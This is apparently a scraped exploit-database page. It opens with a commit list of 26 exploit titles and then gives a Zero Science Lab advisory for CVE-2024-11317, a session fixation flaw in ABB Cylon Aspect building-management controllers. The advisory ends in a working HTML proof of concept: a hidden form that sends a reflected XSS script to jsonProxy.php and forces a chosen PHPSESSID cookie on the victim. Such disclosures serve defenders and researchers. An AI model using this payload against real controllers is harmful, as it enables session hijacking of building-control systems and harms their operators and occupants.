b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
81 lines
No EOL
4.6 KiB
Text
81 lines
No EOL
4.6 KiB
Text
# Exploit title: ABB Cylon Aspect 3.08.02 PHP Session Fixation Vulnerability
|
|
# Advisory ID: ZSL-2025-5916
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5916.php
|
|
# CVE ID: CVE-2024-11317
|
|
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-11317
|
|
|
|
|
|
Vendor: ABB Ltd.
|
|
Product web page: https://www.global.abb
|
|
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
|
|
Firmware: <=3.08.02
|
|
|
|
Summary: ASPECT is an award-winning scalable building energy management
|
|
and control solution designed to allow users seamless access to their
|
|
building data through standard building protocols including smart devices.
|
|
|
|
Desc: The ABB Cylon Aspect BMS/BAS controller is vulnerable to session
|
|
fixation, allowing an attacker to set a predefined PHPSESSID value. An
|
|
attacker can leverage an unauthenticated reflected XSS vulnerability in
|
|
jsonProxy.php to inject a crafted request, forcing the victim to adopt
|
|
a fixated session.
|
|
|
|
Tested on: GNU/Linux 3.15.10 (armv7l)
|
|
GNU/Linux 3.10.0 (x86_64)
|
|
GNU/Linux 2.6.32 (x86_64)
|
|
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
|
|
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
|
|
PHP/7.3.11
|
|
PHP/5.6.30
|
|
PHP/5.4.16
|
|
PHP/4.4.8
|
|
PHP/5.3.3
|
|
AspectFT Automation Application Server
|
|
lighttpd/1.4.32
|
|
lighttpd/1.4.18
|
|
Apache/2.2.15 (CentOS)
|
|
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
|
|
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
|
|
ErgoTech MIX Deployment Server 2.0.0
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
|
|
P R O J E C T
|
|
|
|
.|
|
|
| |
|
|
|'| ._____
|
|
___ | | |. |' .---"|
|
|
_ .-' '-. | | .--'| || | _| |
|
|
.-'| _.| | || '-__ | | | || |
|
|
|' | |. | || | | | | || |
|
|
____| '-' ' "" '-' '-.' '` |____
|
|
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
|
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
|
|
|
|
<body>
|
|
<!-- Session ID in a cookie (Client-side script) OWASP Ref.: -->
|
|
<form action="http://192.168.73.31/jsonProxy.php" method="GET">
|
|
<input type="hidden" name="application" value="zeroscience" />
|
|
<input type="hidden" name="query" value="<script>document.cookie="PHPSESSID=22222222225555555555111111; path=/"%0A%0Dwindow.location.href="/"</script>" />
|
|
<input type="submit" value="Fix!" />
|
|
</form>
|
|
</body>
|
|
</html> |